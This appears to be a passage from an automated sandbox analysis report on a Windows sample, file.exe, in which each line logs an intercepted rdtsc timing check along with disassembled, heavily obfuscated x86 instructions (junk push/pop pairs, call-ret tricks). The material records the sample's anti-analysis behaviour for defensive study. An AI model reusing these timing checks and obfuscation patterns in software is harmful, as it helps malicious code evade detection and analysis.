Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399E33 second address: 399E3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FD7BCB87A16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399E3F second address: 399E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39C220 second address: 39C268 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FD7BCB87A29h 0x0000000e nop 0x0000000f xor dword ptr [ebp+122D1C8Eh], edx 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 mov dword ptr [ebp+122D1C6Dh], esi 0x0000001e pop ecx 0x0000001f call 00007FD7BCB87A19h 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FD7BCB87A1Ah 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39C268 second address: 39C281 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7BCC58FE5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39C281 second address: 39C2BB instructions: 0x00000000 rdtsc 0x00000002 js 00007FD7BCB87A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d ja 00007FD7BCB87A22h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 jmp 00007FD7BCB87A20h 0x0000001c mov eax, dword ptr [eax] 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39C44A second address: 39C44E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39C678 second address: 39C67E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BCE57 second address: 3BCE9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE4h 0x00000007 push ecx 0x00000008 jns 00007FD7BCC58FD6h 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD7BCC58FDBh 0x00000019 jmp 00007FD7BCC58FE6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BCE9B second address: 3BCEA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3910F4 second address: 3910F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BAC32 second address: 3BAC36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BAF0E second address: 3BAF14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BB05D second address: 3BB063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BB063 second address: 3BB06E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BB1B1 second address: 3BB1B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BB4C0 second address: 3BB4E2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD7BCC58FD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jmp 00007FD7BCC58FE4h 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BB4E2 second address: 3BB4FF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD7BCB87A23h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BB4FF second address: 3BB503 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BB7EF second address: 3BB7F5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BBC53 second address: 3BBC5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD7BCC58FD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BBC5D second address: 3BBC6D instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD7BCB87A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BBC6D second address: 3BBC73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BBC73 second address: 3BBC86 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jno 00007FD7BCB87A16h 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop edi 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BC691 second address: 3BC69A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BC803 second address: 3BC807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BC959 second address: 3BC98C instructions: 0x00000000 rdtsc 0x00000002 js 00007FD7BCC58FD6h 0x00000008 jnc 00007FD7BCC58FD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jc 00007FD7BCC58FD6h 0x00000019 jc 00007FD7BCC58FD6h 0x0000001f popad 0x00000020 jbe 00007FD7BCC58FD8h 0x00000026 pushad 0x00000027 pushad 0x00000028 popad 0x00000029 jnp 00007FD7BCC58FD6h 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BCCDA second address: 3BCCE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C12C1 second address: 3C12C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 388A84 second address: 388AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FD7BCB87A23h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38A554 second address: 38A55A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C71EA second address: 3C71F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C71F0 second address: 3C71F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C71F8 second address: 3C71FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C71FF second address: 3C720A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CC52D second address: 3CC547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7BCB87A21h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CC6A0 second address: 3CC6BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 js 00007FD7BCC58FEAh 0x0000000b jmp 00007FD7BCC58FDEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CCC33 second address: 3CCC50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7BCB87A27h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CCC50 second address: 3CCC55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CD77D second address: 3CD781 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDDAA second address: 3CDDBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 push eax 0x00000007 jng 00007FD7BCC58FF8h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDDBB second address: 3CDDBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDE71 second address: 3CDE75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDE75 second address: 3CDE7F instructions: 0x00000000 rdtsc 0x00000002 je 00007FD7BCB87A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDE7F second address: 3CDE89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FD7BCC58FD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CE73B second address: 3CE740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CE740 second address: 3CE745 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CF13B second address: 3CF13F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CF13F second address: 3CF14C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD7BCC58FD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CFB8B second address: 3CFB8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0C94 second address: 3D0C98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D2758 second address: 3D278D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A29h 0x00000007 jmp 00007FD7BCB87A28h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D278D second address: 3D27A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE4h 0x00000007 push esi 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D2D5B second address: 3D2DF8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007FD7BCB87A18h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebp 0x0000002c call 00007FD7BCB87A18h 0x00000031 pop ebp 0x00000032 mov dword ptr [esp+04h], ebp 0x00000036 add dword ptr [esp+04h], 0000001Ah 0x0000003e inc ebp 0x0000003f push ebp 0x00000040 ret 0x00000041 pop ebp 0x00000042 ret 0x00000043 mov esi, 58903309h 0x00000048 sub dword ptr [ebp+122D1C8Eh], ecx 0x0000004e push 00000000h 0x00000050 push 00000000h 0x00000052 push ebp 0x00000053 call 00007FD7BCB87A18h 0x00000058 pop ebp 0x00000059 mov dword ptr [esp+04h], ebp 0x0000005d add dword ptr [esp+04h], 0000001Bh 0x00000065 inc ebp 0x00000066 push ebp 0x00000067 ret 0x00000068 pop ebp 0x00000069 ret 0x0000006a mov dword ptr [ebp+122D2216h], edx 0x00000070 push eax 0x00000071 push eax 0x00000072 push edx 0x00000073 jns 00007FD7BCB87A18h 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D3759 second address: 3D3760 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D585E second address: 3D5863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D764B second address: 3D7651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D55D0 second address: 3D55D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D610E second address: 3D6114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DC4B3 second address: 3DC536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007FD7BCB87A18h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f mov bl, 19h 0x00000011 push 00000000h 0x00000013 mov dword ptr [ebp+122D3976h], eax 0x00000019 jmp 00007FD7BCB87A26h 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push eax 0x00000023 call 00007FD7BCB87A18h 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d add dword ptr [esp+04h], 0000001Ah 0x00000035 inc eax 0x00000036 push eax 0x00000037 ret 0x00000038 pop eax 0x00000039 ret 0x0000003a mov dword ptr [ebp+12458FFCh], ecx 0x00000040 pushad 0x00000041 jmp 00007FD7BCB87A27h 0x00000046 push ebx 0x00000047 mov esi, dword ptr [ebp+122D3B7Bh] 0x0000004d pop eax 0x0000004e popad 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DB699 second address: 3DB69F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DC536 second address: 3DC53C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DB69F second address: 3DB6A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DD43A second address: 3DD45F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7BCB87A28h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f push eax 0x00000010 pop eax 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DC6CB second address: 3DC7A7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD7BCC58FD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FD7BCC58FE8h 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007FD7BCC58FD8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b mov edi, dword ptr [ebp+122D3A77h] 0x00000031 push dword ptr fs:[00000000h] 0x00000038 mov bx, si 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 mov dword ptr [ebp+1247AE35h], ecx 0x00000048 mov eax, dword ptr [ebp+122D072Dh] 0x0000004e push 00000000h 0x00000050 push ebx 0x00000051 call 00007FD7BCC58FD8h 0x00000056 pop ebx 0x00000057 mov dword ptr [esp+04h], ebx 0x0000005b add dword ptr [esp+04h], 00000019h 0x00000063 inc ebx 0x00000064 push ebx 0x00000065 ret 0x00000066 pop ebx 0x00000067 ret 0x00000068 jne 00007FD7BCC58FDCh 0x0000006e mov dword ptr [ebp+122D384Ch], ebx 0x00000074 mov edi, dword ptr [ebp+122D31BBh] 0x0000007a push FFFFFFFFh 0x0000007c mov dword ptr [ebp+122D1CB3h], esi 0x00000082 nop 0x00000083 jnp 00007FD7BCC58FEEh 0x00000089 jmp 00007FD7BCC58FE8h 0x0000008e push eax 0x0000008f push eax 0x00000090 push edx 0x00000091 push eax 0x00000092 push edx 0x00000093 jmp 00007FD7BCC58FDFh 0x00000098 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DC7A7 second address: 3DC7B1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD7BCB87A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DE3F7 second address: 3DE3FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DD6B8 second address: 3DD6C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7BCB87A1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DE69D second address: 3DE6A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DE6A9 second address: 3DE6AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E13EB second address: 3E13F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E05F5 second address: 3E05FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E13F0 second address: 3E1491 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ebx, dword ptr [ebp+122D1F15h] 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007FD7BCC58FD8h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 0000001Ch 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e jns 00007FD7BCC58FDCh 0x00000034 mov edi, 4B0A4400h 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push ecx 0x0000003e call 00007FD7BCC58FD8h 0x00000043 pop ecx 0x00000044 mov dword ptr [esp+04h], ecx 0x00000048 add dword ptr [esp+04h], 0000001Bh 0x00000050 inc ecx 0x00000051 push ecx 0x00000052 ret 0x00000053 pop ecx 0x00000054 ret 0x00000055 or dword ptr [ebp+124634A3h], ebx 0x0000005b xchg eax, esi 0x0000005c jmp 00007FD7BCC58FE2h 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E1491 second address: 3E149B instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD7BCB87A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 392CD4 second address: 392D0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 popad 0x0000000a pushad 0x0000000b je 00007FD7BCC58FD8h 0x00000011 pushad 0x00000012 popad 0x00000013 push ecx 0x00000014 jmp 00007FD7BCC58FE1h 0x00000019 pop ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FD7BCC58FE1h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 392D0D second address: 392D11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E4C7D second address: 3E4CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007FD7BCC58FE7h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E4CA7 second address: 3E4CF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FD7BCB87A18h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 mov edi, ebx 0x00000027 push 00000000h 0x00000029 mov edi, esi 0x0000002b push 00000000h 0x0000002d mov bl, B5h 0x0000002f push eax 0x00000030 pushad 0x00000031 jns 00007FD7BCB87A1Ch 0x00000037 pushad 0x00000038 je 00007FD7BCB87A16h 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E5C4C second address: 3E5D0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnl 00007FD7BCC58FDEh 0x00000010 nop 0x00000011 mov edi, dword ptr [ebp+122D3CFBh] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007FD7BCC58FD8h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 call 00007FD7BCC58FE7h 0x00000038 pushad 0x00000039 mov dword ptr [ebp+124593FBh], edi 0x0000003f popad 0x00000040 pop edi 0x00000041 jmp 00007FD7BCC58FE5h 0x00000046 push 00000000h 0x00000048 push 00000000h 0x0000004a push edx 0x0000004b call 00007FD7BCC58FD8h 0x00000050 pop edx 0x00000051 mov dword ptr [esp+04h], edx 0x00000055 add dword ptr [esp+04h], 0000001Ch 0x0000005d inc edx 0x0000005e push edx 0x0000005f ret 0x00000060 pop edx 0x00000061 ret 0x00000062 cmc 0x00000063 stc 0x00000064 xchg eax, esi 0x00000065 jng 00007FD7BCC58FE8h 0x0000006b push eax 0x0000006c push edx 0x0000006d jc 00007FD7BCC58FD6h 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E7ED8 second address: 3E7EDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
